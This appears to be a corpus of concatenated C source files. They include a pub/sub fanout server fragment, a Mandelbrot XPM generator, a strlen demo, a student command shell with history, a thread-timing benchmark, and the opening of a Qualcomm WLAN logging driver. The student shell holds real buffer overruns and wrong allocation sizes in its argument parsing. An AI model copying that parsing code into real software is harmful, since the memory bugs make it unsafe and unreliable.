%s\n", msg, strerror (errno)); exit (1); } void fanout_debug (int level, const char *format, ...) { char *s_level; switch (level) { case 0: s_level = "ERROR"; break; case 1: s_level = "WARNING"; break; case 2: s_level = "INFO"; break; default: s_level = "DEBUG"; break; } char *message; asprintf(&message, "[%d] %s: ", (u_int) time(NULL), s_level); char *data; va_list args; va_start(args, format); vasprintf (&data, format, args); va_end(args); message = str_append (message, data); if (debug_level >= level) { if ( ! daemonize) printf ("%s", message); if (logfile != NULL) { if (max_logfile_size > 0) { long current_pos; long filesize; if ((current_pos = ftell (logfile)) == -1) exit (EXIT_FAILURE); //MB filesize = (current_pos / 1024 / 1024); if (filesize >= max_logfile_size) { if ((ftruncate(fileno (logfile), (off_t) 0)) == -1) exit (EXIT_FAILURE); } } fprintf (logfile, "%s", message); fflush (logfile); } } free (data); free (message); } char *getsocketpeername (int fd) { struct sockaddr_storage m_addr; socklen_t len; len = sizeof m_addr; getpeername (fd, (struct sockaddr*)&m_addr, &len); getnameinfo ((struct sockaddr*)&m_addr, len, ipstr, sizeof ipstr, NULL, 0, NI_NUMERICHOST); return ipstr; } int channel_exists (const char *channel_name) { struct channel *channel_i = channel_head; while (channel_i != NULL) { if ( ! strcmp (channel_name, channel_i->name)) return 1; channel_i = channel_i->next; } return 0; } int channel_has_subscription (struct channel *c) { if (c->subscription_count > 0) { return 1; } return 0; } struct channel *get_channel (const char *channel_name) { struct channel *channel_i = channel_head; while (channel_i != NULL) { if ( ! strcmp (channel_name, channel_i->name)) return channel_i; channel_i = channel_i->next; } fanout_debug (2, "creating new channel %s\n", channel_name); if ((channel_i = calloc (1, sizeof (struct channel))) == NULL) { fanout_error ("memory error"); } asprintf (&channel_i->name, "%s", channel_name); channel_i->next = channel_head; if (channel_head != NULL) channel_head->previous = channel_i; channel_head = channel_i; return channel_i; } void remove_channel (struct channel *c) { fanout_debug (2, "removing unused channel %s\n", c->name); if (c->next != NULL) { c->next->previous = c->previous; } if (c->previous != NULL) { c->previous->next = c->next; } if (c == channel_head) { channel_head = c->next; } } void destroy_channel (struct channel *c) { free (c->name); free (c); } u_int channel_count () { struct channel *channel_i = channel_head; u_int count = 0; while (channel_i != NULL) { count++; channel_i = channel_i->next; } return count; } struct client *get_client (int fd) { struct client *client_i = NULL; client_i = client_head; while (client_i != NULL) { if (client_i->fd == fd) return client_i; client_i = client_i->next; } return NULL; } void remove_client (struct client *c) { char *peer = getsocketpeername (c->fd); fanout_debug (3, "removing client %d connected from %s from service\n", c->fd, peer); if (c->next != NULL) { if (c->previous != NULL) fanout_debug (3, "setting previous on %d to %d\n", c->next->fd, c->previous->fd); c->next->previous = c->previous; } if (c->previous != NULL) { if (c->next != NULL) fanout_debug (3, "setting next on %d to %d\n", c->previous->fd, c->next->fd); c->previous->next = c->next; } if (c == client_head) { client_head = c->next; } } void shutdown_client (struct client *c) { struct subscription *subscription_i = subscription_head; while (subscription_i != NULL) { struct subscription *subscription_tmp = subscription_i; subscription_i = subscription_i->next; if (c == subscription_tmp->client) unsubscribe (c, subscription_tmp->channel->name); } remove_client (c); if (shutdown (c->fd, 2) == -1) { fanout_debug (1, "ERROR calling shutdown on client %d\n", c->fd); } clear_socket_buffer (c->fd); if (close (c->fd) == -1) { fanout_debug (1, "ERROR closing the socket on client %d\n", c->fd); } destroy_client (c); } void destroy_client (struct client *c) { free (c->input_buffer); free (c->output_buffer); free (c); } void client_write (struct client *c, const char *data) { c->output_buffer = str_append (c->output_buffer, data); while (strlen (c->output_buffer) > 0) { int sent = send (c->fd, c->output_buffer, strlen (c->output_buffer), MSG_NOSIGNAL); if (sent == -1) break; fanout_debug (3, "wrote %d bytes\n", sent); str_swap_free (&c->output_buffer, substr (c->output_buffer, sent, strlen (c->output_buffer))); } fanout_debug (3, "remaining output buffer is %d chars: %s\n", (u_int) strlen (c->output_buffer), c->output_buffer); } void client_process_input_buffer (struct client *c) { char *message; char *action; char *channel; int i; fanout_debug (3, "full buffer\n\n%s\n\n", c->input_buffer); while ((i = strcpos (c->input_buffer, '\n')) >= 0) { char *line = substr (c->input_buffer, 0, i -1); fanout_debug (3, "buffer has a newline at char %d\n", i); fanout_debug (3, "line is %d chars: %s\n", (u_int) strlen (line), line); if ( ! strcmp (line, "ping")) { asprintf (&message, "%d\n", (u_int) time(NULL)); client_write (c, message); free (message); message = NULL; if (pings_count == ULLONG_MAX) { fanout_debug (1, "wow, you've pinged alot..\ resetting counter\n"); pings_count = 0; } pings_count++; } else if ( ! strcmp (line, "info")) { //current connections u_int current_client_count = client_count (); //channels u_int current_channel_count = channel_count (); //subscriptions u_int current_subscription_count = subscription_count (); u_int current_requested_subscriptions = (current_subscription_count - current_client_count); //uptime long uptime = (long)time (NULL) - server_start_time; //averages asprintf (&message, "uptime: %ldd %ldh %ldm %lds\n\ client-limit: %d\n\ limit rejected connections: %llu\n\ rlimits: Soft=%d Hard=%d\n\ max connections: %d\n\ current connections: %d\n\ current channels: %d\n\ current subscriptions: %d\n\ user-requested subscriptions: %d\n\ total connections: %llu\n\ total announcements: %llu\n\ total messages: %llu\n\ total subscribes: %llu\n\ total unsubscribes: %llu\n\ total pings: %llu\ \n", uptime/3600/24, uptime/3600%24, uptime/60%60, uptime%60, client_limit, client_limit_count, (int) s_rlimit.rlim_cur, (int)s_rlimit.rlim_max, max_client_count, current_client_count, current_channel_count, current_subscription_count, current_requested_subscriptions, clients_count, announcements_count, messages_count, subscriptions_count, unsubscriptions_count, pings_count); client_write (c, message); free (message); message = NULL; } else { action = strtok (line, " "); channel = strtok (NULL, " "); if (action == NULL || channel == NULL) { fanout_debug (3, "received garbage from client\n"); } else { if ( ! strcmp (action, "announce")) { //perform announce message = substr (line, strlen (action) + strlen (channel) + 2, strlen (line)); if (channel_exists (channel) && strlen (message) > 0) announce (channel, message); free (message); } else if ( ! strcmp (action, "subscribe")) { //perform subscribe if (strcpos (channel, '!') == -1) subscribe (c, channel); } else if ( ! strcmp (action, "unsubscribe")) { //perform unsubscribe if (strcpos (channel, '!') == -1) unsubscribe (c, channel); } else { fanout_debug (3, "invalid action attempted\n"); } } } str_swap_free (&c->input_buffer, substr (c->input_buffer, i + 1, strlen (c->input_buffer))); free (line); } fanout_debug (3, "remaining input buffer is %d chars: %s\n", (int) strlen (c->input_buffer), c->input_buffer); } u_int client_count () { struct client *client_i = client_head; u_int count = 0; while (client_i != NULL) { count++; client_i = client_i->next; } return count; } struct subscription *get_subscription (struct client *c, struct channel *channel) { struct subscription *subscription_i = subscription_head; while (subscription_i != NULL) { if (subscription_i->channel == channel && c == subscription_i->client) return subscription_i; subscription_i = subscription_i->next; } return NULL; } void remove_subscription (struct subscription *s) { if (s->next != NULL) { s->next->previous = s->previous; } if (s->previous != NULL) { s->previous->next = s->next; } if (s == subscription_head) { subscription_head = s->next; } } void destroy_subscription (struct subscription *s) { free (s); } u_int subscription_count () { struct subscription *subscription_i = subscription_head; u_int count = 0; while (subscription_i != NULL) { count++; subscription_i = subscription_i->next; } return count; } void announce (const char *channel, const char *message) { fanout_debug (3, "attempting to announce message %s to channel %s\n", message, channel); char *s = NULL; asprintf (&s, "%s!%s\n", channel, message); struct subscription *subscription_i = subscription_head; while (subscription_i != NULL) { fanout_debug (3, "testing subscription for client %d on channel %s\n", subscription_i->client->fd, subscription_i->channel->name); if ( ! strcmp (subscription_i->channel->name, channel)) { fanout_debug (3, "announcing message %s to %d on channel %s\n", message, subscription_i->client->fd, channel); client_write (subscription_i->client, s); //message stats if (messages_count == ULLONG_MAX) { fanout_debug (1, "wow, you've sent a lot of messages..\ resetting counter\n"); messages_count = 0; } messages_count++; } subscription_i = subscription_i->next; } fanout_debug (2, "announced message to %d client(s) %s", get_channel (channel)->subscription_count, s); if (announcements_count == ULLONG_MAX) { fanout_debug (1, "wow, you've announced alot..resetting counter\n"); announcements_count = 0; } announcements_count++; free (s); } void subscribe (struct client *c, const char *channel_name) { if (get_subscription (c, get_channel (channel_name)) != NULL) { fanout_debug (3, "client %d already subscribed to channel %s\n", c->fd, channel_name); return; } struct subscription *subscription_i = NULL; if ((subscription_i = calloc (1, sizeof (struct subscription))) == NULL) { fanout_debug (1, "memory error trying to create new subscription\n"); return; } subscription_i->client = c; subscription_i->channel = get_channel (channel_name); subscription_i->channel->subscription_count++; fanout_debug (2, "subscribed client %d to channel %s\n", c->fd, subscription_i->channel->name); if (subscriptions_count == ULLONG_MAX) { fanout_debug (1, "wow, you've subscribed alot..resetting counter\n"); subscriptions_count = 0; } subscriptions_count++; subscription_i->next = subscription_head; if (subscription_head != NULL) subscription_head->previous = subscription_i; subscription_head = subscription_i; } void unsubscribe (struct client *c, const char *channel_name) { struct subscription *subscription_i = subscription_head; if ( ! channel_exists (channel_name)) return; struct channel *channel = get_channel (channel_name); while (subscription_i != NULL) { if (c == subscription_i->client && channel == subscription_i->channel) { remove_subscription (subscription_i); destroy_subscription (subscription_i); fanout_debug (2, "unsubscribed client %d from channel %s\n", c->fd, channel_name); channel->subscription_count--; if (unsubscriptions_count == ULLONG_MAX) { fanout_debug (1, "wow, you've unsubscribed alot..\ resetting counter\n"); unsubscriptions_count = 0; } unsubscriptions_count++; if ( ! channel_has_subscription (channel)) { remove_channel (channel); destroy_channel (channel); } return; } subscription_i = subscription_i->next; } }
the_stack_data/840657.c
/* A fixed-point mandelbrot generator that can be compiled into the boot ROM. Author: Wolfgang Puffitsch Copyright: DTU, BSD License */ #define DELAY 50 #define ROWS 240 #define COLS 320 #define FRAC_BITS 16 #define FRAC_ONE (1 << FRAC_BITS) #define XSTART (2*-FRAC_ONE) #define XEND (FRAC_ONE) #define YSTART (-FRAC_ONE) #define YEND (FRAC_ONE) #define XSTEP_SIZE ((XEND-XSTART+COLS-1)/COLS) #define YSTEP_SIZE ((YEND-YSTART+ROWS-1)/ROWS) #define MAX_SQUARE (16*FRAC_ONE) #define MAX_ITER 64 #ifdef __patmos__ #include <machine/patmos.h> #include <machine/spm.h> #include "include/bootable.h" #define UART_STATUS *((volatile _SPM int *) 0xF0080000) #define UART_DATA *((volatile _SPM int *) 0xF0080004) static void write(const char *msg, int len) __attribute__((noinline)); #define WRITE(data,len) write(data,len) #else /* __patmos__ */ #include <unistd.h> #define WRITE(data,len) write(STDOUT_FILENO,data,len) #endif /* __patmos__ */ #include <string.h> static void write_xpm_header(void); static char to_color(int v) __attribute__((noinline)); static int do_iter(int cx, int cy, unsigned int max_square, int max_iter); static int fracmul(int x, int y) __attribute__((noinline)); #define STRFY(X) STR(X) #define STR(X) #X static const char *map = " .',:;-~+=<>/\\!(){}[]it1lfIJ?L7VThYZCdbUOQGD2S5XFHKP9NAE38&RBWM#"; static const char *hdr = "/* XPM */\n" "static char *mandel[] = {\n" "\"" STRFY(COLS) " " STRFY(ROWS) " 64 1\",\n"; #ifdef __patmos__ int main(void) { #else int main(int argc, char **argv) { #endif write_xpm_header(); int x, y; for (y = YSTART; y < YEND; y += YSTEP_SIZE) { WRITE("\"", 1); for (x = XSTART; x < XEND; x += XSTEP_SIZE) { int val = do_iter(x, y, MAX_SQUARE, MAX_ITER); WRITE(&(map[val & 0x3f]), 1); } WRITE("\",\n", 3); } WRITE("};\n", 3); return 0; } static void write_xpm_header(void) { int i; WRITE(hdr, strlen(hdr)); for (i = 0; i < 64; i++) { static char buf [15]; buf[0] = '"'; buf[1] = map[i]; buf[2] = ' '; buf[3] = 'c'; buf[4] = ' '; buf[5] = '#'; char r = to_color((i >> 4) & 3); buf[6] = r; buf[7] = r; char g = to_color((i >> 0) & 3); buf[8] = g; buf[9] = g; char b = to_color((i >> 2) & 3); buf[10] = b; buf[11] = b; buf[12] = '"'; buf[13] = ','; buf[14] = '\n'; WRITE(buf, 15); } } static char to_color(int v) { return v & 2 ? (v & 1 ? 'F' : 'A') : (v & 1 ? '5' : '0'); } static int do_iter(int cx, int cy, unsigned int max_square, int max_iter) { unsigned int square = 0; int iter = 0; int x = 0; int y = 0; while (square <= max_square && iter < max_iter) { int xt = fracmul(x, x) - fracmul(y, y) + cx; int yt = 2*fracmul(x, y) + cy; x = xt; y = yt; iter++; square = fracmul(x, x) + fracmul(y, y); } return iter; } static int fracmul(int x, int y) { int i; for (i = 0; i < DELAY; i++) { asm volatile (""); } return (long long)x*y >> FRAC_BITS; } #ifdef __patmos__ static void write(const char* msg, int len) { unsigned i; for (i = 0; i < len; i++) { while ((UART_STATUS & 0x01) == 0); UART_DATA = msg[i]; } } #endif
the_stack_data/72012369.c
#include <stdio.h> int mystrlen(char s[]) { int i = 0; while( s[i++] ); return --i; } int main() { char a[] = "the quick brown fox"; printf("strlen(a) = %d\n",mystrlen(a)); return 0; }
the_stack_data/154503.c
/* * Yichen Huang * CWID:11906882 */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #define MAX_LINE 80 /* The maximum length command */ int record = 0; int number = 0; char history[10][MAX_LINE]; void displayHistory() { printf("Shell Command History: \n"); if(number <=10) { for(int i=0;i<record;i++) { printf("%d ", record-i); printf("%s\n",history[i]); } } else { for(int i=0;i<record;i++) { printf("%d ", number-i); printf("%s\n",history[i]); } } } int format(char inputBuffer[], char *args[], int *flag) { int length = 0; int first; int hist; fgets(inputBuffer,MAX_LINE,stdin); //inputBuffer = "ls &"; //printf("%s\n", inputBuffer); length = strlen(inputBuffer); if (strcmp(inputBuffer,"exit\n") == 0) { printf("Goodbye\n"); return 3; } if(length == 0) { printf("Error, command cannot read\n"); return 1; } int start = -1; int count = 0; for(int i=0;i<length;i++) { if(inputBuffer[i] == ' ' || inputBuffer[i] == '\t') { if(start != -1) { char temp[i-start+1]; for(int j=start;j<i;j++) { temp[j-start] = inputBuffer[j]; } args[count] = malloc(sizeof(temp)); for(int k=0;k<strlen(temp);k++) { args[count][k] = temp[k]; } args[count][i] = '\0'; ++count; } start = -1; } else if (inputBuffer[i] == '\n') { if(start != -1) { char temp[i-start+1]; for(int j=start;j<i;j++) { temp[j-start] = inputBuffer[j]; } args[count] = malloc(sizeof(temp)); for(int k=0;k<strlen(temp);k++) { args[count][k] = temp[k]; } args[count][i] = '\0'; ++count; } args[count] = NULL; } else { if(start == -1) { start = i; } if(inputBuffer[i] == '&') { start = -1; *flag = 1; } } } args[count] = NULL; if(args[0] == NULL) { return 1; } //printf("%d\n",count); int indicate = 0; if(strcmp(args[0],"history") == 0) { if(record>0) { displayHistory(); } else { printf("No Command In History\n"); } return 1; } else if(args[0][0] == '!') { if(strlen(args[0]) == 1) { printf("Error! Please enter an integer after !\n"); return 1; } if(strcmp(args[0],"!!")==0) { if(record == 0) { printf("No command in history\n"); return 1; } strcpy(inputBuffer,history[0]); indicate = 1; } else { for(int i=1;i<strlen(args[0]);i++) { if(args[0][i] < '0' || args[0][i] >'9') { printf("Error, Please enter an integer after !\n"); return 1; } } char *integer = malloc(sizeof(strlen(args[0])-1)); for(int i=1;i<strlen(args[0]);i++) { integer[i-1] = args[0][i]; } int index = atoi(integer); if(index <= 0) { printf("Error, Please enter an positive integer after !\n"); return 1; } if(number <= 10) { if(index <= 0 || index>number) { printf("No such command in history\n"); return 1; } else { strcpy(inputBuffer,history[record - index]); } } else { if(index<=number-10 || index>number) { printf("No such command in history\n"); return 1; } else { strcpy(inputBuffer,history[number-index]); } } indicate = 1; free(integer); } printf("Running command: %s\n",inputBuffer); } //printf("Add to history...\n"); for(int i=9;i>0;i--) { strcpy(history[i],history[i-1]); } strcpy(history[0],inputBuffer); record++; if(record>10) { record = 10; } number++; if(indicate == 1) { //printf("Changing buffer %s",inputBuffer); //printf("%lu\n",strlen(inputBuffer)); for(int i=count-1;i>=0;i--) { free(args[i]); } start = -1; count = 0; length =strlen(inputBuffer); for(int i=0;i<length;i++) { if(inputBuffer[i] == ' ' || inputBuffer[i] == '\t') { if(start != -1) { char temp[i-start+1]; for(int j=start;j<i;j++) { temp[j-start] = inputBuffer[j]; } args[count] = malloc(sizeof(temp)); for(int k=0;k<strlen(temp);k++) { args[count][k] = temp[k]; } args[count][i] = '\0'; ++count; } start = -1; } else if (inputBuffer[i] == '\n' || inputBuffer[i] == '\0') { if(start != -1) { char temp[i-start+1]; for(int j=start;j<i;j++) { temp[j-start] = inputBuffer[j]; } args[count] = malloc(sizeof(temp)); for(int k=0;k<strlen(temp);k++) { args[count][k] = temp[k]; } args[count][i] = '\0'; ++count; } args[count] = NULL; } else { if(start == -1) { start = i; } if(inputBuffer[i] == '&') { start = -1; *flag = 1; } } } args[count] = NULL; if(args[0] == NULL) { return 1; } //printf("%d\n",count); } //printf("args[]\n"); //for(int i=0;i<count;i++) { // printf("%s ",args[i]); //} //printf("\n"); return 0; } int main(void) { char *args[MAX_LINE/2 + 1]; /* command line arguments */ char command[MAX_LINE]; int flag; int should_run = 1; /* flag to determine when to exit program */ pid_t pid; while (should_run) { flag = 0; printf("osh>"); fflush(stdout); int index = format(command, args, &flag); if(index == 0) { pid = fork(); if(pid < 0) { printf("Fork Failed\n"); exit(1); } else if(pid == 0) { //printf("Child processing...\n"); if(execvp(args[0],args) == -1) { printf("Error executing command\n"); exit(0); } //printf("Child processing done...\n"); } else { //printf("Parent processing starting\n"); if(flag == 0) { //printf("Waiting for child finish...\n"); wait(NULL); } //printf("Parent processing done\n"); } } else if (index == 3) { should_run = 0; } } return 0; }
the_stack_data/35978.c
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <time.h> #include <stdlib.h> #include <sys/time.h> int time_substract(struct timeval *result, struct timeval *begin,struct timeval *end) { if(begin->tv_sec > end->tv_sec) return -1; if((begin->tv_sec == end->tv_sec) && (begin->tv_usec > end->tv_usec)) return -2; result->tv_sec = (end->tv_sec - begin->tv_sec); result->tv_usec = (end->tv_usec - begin->tv_usec); if(result->tv_usec < 0) { result->tv_sec--; result->tv_usec += 1000000; } return 0; } void* worker(void* arg) { return arg; } int main(int argc, char** argv) { if(argc != 2) return -1; int n = atoi(argv[1]); struct timeval starttime,stop,diff; time_t start = time(NULL); gettimeofday(&starttime,0); pthread_t t; for(int i = 0; i < n; i++) { pthread_create(&t, NULL, worker, NULL); pthread_join(t, NULL); } gettimeofday(&stop,0); time_t end = time(NULL); printf("进程完成时间为 : %ld 秒\n", end - start); time_substract(&diff,&starttime,&stop); printf("Total time : %d s,%d us\n",(int)diff.tv_sec,(int)diff.tv_usec); return 0; }
the_stack_data/48574810.c
/* * Copyright (c) 2014-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * * * Permission to use, copy, modify, and/or distribute this software for * any purpose with or without fee is hereby granted, provided that the * above copyright notice and this permission notice appear in all * copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR * PERFORMANCE OF THIS SOFTWARE. */ /* * This file was originally distributed by Qualcomm Atheros, Inc. * under proprietary terms before Copyright ownership was assigned * to the Linux Foundation. */ /****************************************************************************** * wlan_logging_sock_svc.c * ******************************************************************************/ #ifdef WLAN_LOGGING_SOCK_SVC_ENABLE #include <linux/rtc.h> #include <vmalloc.h> #include <wlan_nlink_srv.h> #include <vos_status.h> #include <vos_trace.h> #include <wlan_nlink_common.h> #include <wlan_logging_sock_svc.h> #include <vos_types.h> #include <kthread.h> #include "vos_memory.h" #include <linux/ratelimit.h> #include <asm/arch_timer.h> #include <vos_utils.h> #define LOGGING_TRACE(level, args...) \ VOS_TRACE(VOS_MODULE_ID_SVC, level, ## args) /* Global variables */ #define ANI_NL_MSG_LOG_TYPE 89 #define ANI_NL_MSG_READY_IND_TYPE 90 #define ANI_NL_MSG_LOG_PKT_TYPE 91 #define ANI_NL_MSG_FW_LOG_PKT_TYPE 92 #define INVALID_PID -1 #define MAX_PKTSTATS_LOG_LENGTH 2048 #define MAX_LOGMSG_LENGTH 4096 #define LOGGER_MGMT_DATA_PKT_POST 0x001 #define HOST_LOG_POST 0x002 #define LOGGER_FW_LOG_PKT_POST 0x003 #define LOGGER_FATAL_EVENT_POST 0x004 #define LOGGER_FW_MEM_DUMP_PKT_POST 0x005 #define LOGGER_FW_MEM_DUMP_PKT_POST_DONE 0x006 #define HOST_PKT_STATS_POST 0x008 #define LOGGER_MAX_DATA_MGMT_PKT_Q_LEN (8) #define LOGGER_MAX_FW_LOG_PKT_Q_LEN (16) #define LOGGER_MAX_FW_MEM_DUMP_PKT_Q_LEN (32) #define NL_BDCAST_RATELIMIT_INTERVAL (5*HZ) #define NL_BDCAST_RATELIMIT_BURST 1 #define PTT_MSG_DIAG_CMDS_TYPE 0x5050 #define DIAG_TYPE_LOGS 1 /* Limit FW initiated fatal event to ms */ #define LIMIT_FW_FATAL_EVENT_MS 10000 /* Qtimer Frequency */ #define QTIMER_FREQ 19200000 static DEFINE_RATELIMIT_STATE(errCnt, \ NL_BDCAST_RATELIMIT_INTERVAL, \ NL_BDCAST_RATELIMIT_BURST); struct log_msg { struct list_head node; unsigned int radio; unsigned int index; /* indicates the current filled log length in logbuf */ unsigned int filled_length; /* * Buf to hold the log msg * tAniHdr + log */ char logbuf[MAX_LOGMSG_LENGTH]; }; struct logger_log_complete { uint32_t is_fatal; uint32_t indicator; uint32_t reason_code; bool is_report_in_progress; bool is_flush_complete; uint32_t last_fw_bug_reason; unsigned long last_fw_bug_timestamp; }; struct fw_mem_dump_logging{ //It will hold the starting point of mem dump buffer uint8 *fw_dump_start_loc; //It will hold the current loc to tell how much data filled uint8 *fw_dump_current_loc; uint32 fw_dump_max_size; vos_pkt_t *fw_mem_dump_queue; /* Holds number of pkts in fw log vos pkt queue */ unsigned int fw_mem_dump_pkt_qcnt; /* Number of dropped pkts for fw dump */ unsigned int fw_mem_dump_pkt_drop_cnt; /* Lock to synchronize of queue/dequeue of pkts in fw log pkt queue */ spinlock_t fw_mem_dump_lock; /* Fw memory dump status */ enum FW_MEM_DUMP_STATE fw_mem_dump_status; /* storage for HDD callback which completes fw mem dump request */ void * svc_fw_mem_dump_req_cb; /* storage for HDD callback which completes fw mem dump request arg */ void * svc_fw_mem_dump_req_cb_arg; }; struct pkt_stats_msg { struct list_head node; /* indicates the current filled log length in pktlogbuf */ struct sk_buff *skb; }; struct perPktStatsInfo{ v_U32_t lastTxRate; // 802.11 data rate at which the last data frame is transmitted. v_U32_t txAvgRetry; // Average number of retries per 10 packets. v_S7_t avgRssi; // Average of the Beacon RSSI. }; struct wlan_logging { /* Log Fatal and ERROR to console */ bool log_fe_to_console; /* Number of buffers to be used for logging */ int num_buf; /* Lock to synchronize access to shared logging resource */ spinlock_t spin_lock; /* Holds the free node which can be used for filling logs */ struct list_head free_list; /* Holds the filled nodes which needs to be indicated to APP */ struct list_head filled_list; /* Points to head of logger pkt queue */ vos_pkt_t *data_mgmt_pkt_queue; /* Holds number of pkts in vos pkt queue */ unsigned int data_mgmt_pkt_qcnt; /* Lock to synchronize of queue/dequeue of pkts in logger pkt queue */ spinlock_t data_mgmt_pkt_lock; /* Points to head of logger fw log pkt queue */ vos_pkt_t *fw_log_pkt_queue; /* Holds number of pkts in fw log vos pkt queue */ unsigned int fw_log_pkt_qcnt; /* Lock to synchronize of queue/dequeue of pkts in fw log pkt queue */ spinlock_t fw_log_pkt_lock; /* Wait queue for Logger thread */ wait_queue_head_t wait_queue; /* Logger thread */ struct task_struct *thread; /* Logging thread sets this variable on exit */ struct completion shutdown_comp; /* Indicates to logger thread to exit */ bool exit; /* Holds number of dropped logs*/ unsigned int drop_count; /* Holds number of dropped vos pkts*/ unsigned int pkt_drop_cnt; /* Holds number of dropped fw log vos pkts*/ unsigned int fw_log_pkt_drop_cnt; /* current logbuf to which the log will be filled to */ struct log_msg *pcur_node; /* Event flag used for wakeup and post indication*/ unsigned long event_flag; /* Indicates logger thread is activated */ bool is_active; /* data structure for log complete event*/ struct logger_log_complete log_complete; spinlock_t bug_report_lock; struct fw_mem_dump_logging fw_mem_dump_ctx; int pkt_stat_num_buf; unsigned int pkt_stat_drop_cnt; struct list_head pkt_stat_free_list; struct list_head pkt_stat_filled_list; struct pkt_stats_msg *pkt_stats_pcur_node; /* Index of the messages sent to userspace */ unsigned int pkt_stats_msg_idx; bool pkt_stats_enabled; spinlock_t pkt_stats_lock; struct perPktStatsInfo txPktStatsInfo; }; static struct wlan_logging gwlan_logging; static struct log_msg *gplog_msg; static struct pkt_stats_msg *pkt_stats_buffers; /* PID of the APP to log the message */ static int gapp_pid = INVALID_PID; static char wlan_logging_ready[] = "WLAN LOGGING READY"; /* * Broadcast Logging service ready indication to any Logging application * Each netlink message will have a message of type tAniMsgHdr inside. */ void wlan_logging_srv_nl_ready_indication(void) { struct sk_buff *skb = NULL; struct nlmsghdr *nlh; tAniNlHdr *wnl = NULL; int payload_len; int err; static int rate_limit; payload_len = sizeof(tAniHdr) + sizeof(wlan_logging_ready) + sizeof(wnl->radio); skb = dev_alloc_skb(NLMSG_SPACE(payload_len)); if (NULL == skb) { if (!rate_limit) { LOGGING_TRACE(VOS_TRACE_LEVEL_ERROR, "NLINK: skb alloc fail %s", __func__); } rate_limit = 1; return; } rate_limit = 0; nlh = nlmsg_put(skb, 0, 0, ANI_NL_MSG_LOG, payload_len, NLM_F_REQUEST); if (NULL == nlh) { LOGGING_TRACE(VOS_TRACE_LEVEL_ERROR, "%s: nlmsg_put() failed for msg size[%d]", __func__, payload_len); kfree_skb(skb); return; } wnl = (tAniNlHdr *) nlh; wnl->radio = 0; wnl->wmsg.type = ANI_NL_MSG_READY_IND_TYPE; wnl->wmsg.length = sizeof(wlan_logging_ready); memcpy((char*)&wnl->wmsg + sizeof(tAniHdr), wlan_logging_ready, sizeof(wlan_logging_ready)); /* sender is in group 1<<0 */ NETLINK_CB(skb).dst_group = WLAN_NLINK_MCAST_GRP_ID; /*multicast the message to all listening processes*/ err = nl_srv_bcast(skb); if (err) { LOGGING_TRACE(VOS_TRACE_LEVEL_INFO_LOW, "NLINK: Ready Indication Send Fail %s, err %d", __func__, err); } return; } /* Utility function to send a netlink message to an application * in user space */ static int wlan_send_sock_msg_to_app(tAniHdr *wmsg, int radio, int src_mod, int pid) { int err = -1; int payload_len; int tot_msg_len; tAniNlHdr *wnl = NULL; struct sk_buff *skb; struct nlmsghdr *nlh; int wmsg_length = wmsg->length; static int nlmsg_seq; if (radio < 0 || radio > ANI_MAX_RADIOS) { pr_err("%s: invalid radio id [%d]", __func__, radio); return -EINVAL; } payload_len = wmsg_length + sizeof(wnl->radio) + sizeof(tAniHdr); tot_msg_len = NLMSG_SPACE(payload_len); skb = dev_alloc_skb(tot_msg_len); if (skb == NULL) { pr_err("%s: dev_alloc_skb() failed for msg size[%d]", __func__, tot_msg_len); return -ENOMEM; } nlh = nlmsg_put(skb, pid, nlmsg_seq++, src_mod, payload_len, NLM_F_REQUEST); if (NULL == nlh) { pr_err("%s: nlmsg_put() failed for msg size[%d]", __func__, tot_msg_len); kfree_skb(skb); return -ENOMEM; } wnl = (tAniNlHdr *) nlh; wnl->radio = radio; vos_mem_copy(&wnl->wmsg, wmsg, wmsg_length); err = nl_srv_ucast(skb, pid, MSG_DONTWAIT); return err; } static void set_default_logtoapp_log_level(void) { vos_trace_setValue(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ALL, VOS_TRUE); vos_trace_setValue(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ALL, VOS_TRUE); vos_trace_setValue(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ALL, VOS_TRUE); vos_trace_setValue(VOS_MODULE_ID_PE, VOS_TRACE_LEVEL_ALL, VOS_TRUE); vos_trace_setValue(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ALL, VOS_TRUE); vos_trace_setValue(VOS_MODULE_ID_HDD_SOFTAP, VOS_TRACE_LEVEL_ALL, VOS_TRUE); vos_trace_setValue(VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ALL, VOS_TRUE); vos_trace_setValue(VOS_MODULE_ID_PMC, VOS_TRACE_LEVEL_ALL, VOS_TRUE); vos_trace_setValue(VOS_MODULE_ID_SVC, VOS_TRACE_LEVEL_ALL, VOS_TRUE); } static void clear_default_logtoapp_log_level(void) { int module; for (module = 0; module < VOS_MODULE_ID_MAX; module++) { vos_trace_setValue(module, VOS_TRACE_LEVEL_NONE, VOS_FALSE); vos_trace_setValue(module, VOS_TRACE_LEVEL_FATAL, VOS_TRUE); vos_trace_setValue(module, VOS_TRACE_LEVEL_ERROR, VOS_TRUE); } vos_trace_setValue(VOS_MODULE_ID_RSV4, VOS_TRACE_LEVEL_NONE, VOS_FALSE); } /* Need to call this with spin_lock acquired */ static int wlan_queue_logmsg_for_app(void) { char *ptr; int ret = 0; ptr = &gwlan_logging.pcur_node->logbuf[sizeof(tAniHdr)]; ptr[gwlan_logging.pcur_node->filled_length] = '\0'; *(unsigned short *)(gwlan_logging.pcur_node->logbuf) = ANI_NL_MSG_LOG_TYPE; *(unsigned short *)(gwlan_logging.pcur_node->logbuf + 2) = gwlan_logging.pcur_node->filled_length; list_add_tail(&gwlan_logging.pcur_node->node, &gwlan_logging.filled_list); if (!list_empty(&gwlan_logging.free_list)) { /* Get buffer from free list */ gwlan_logging.pcur_node = (struct log_msg *)(gwlan_logging.free_list.next); 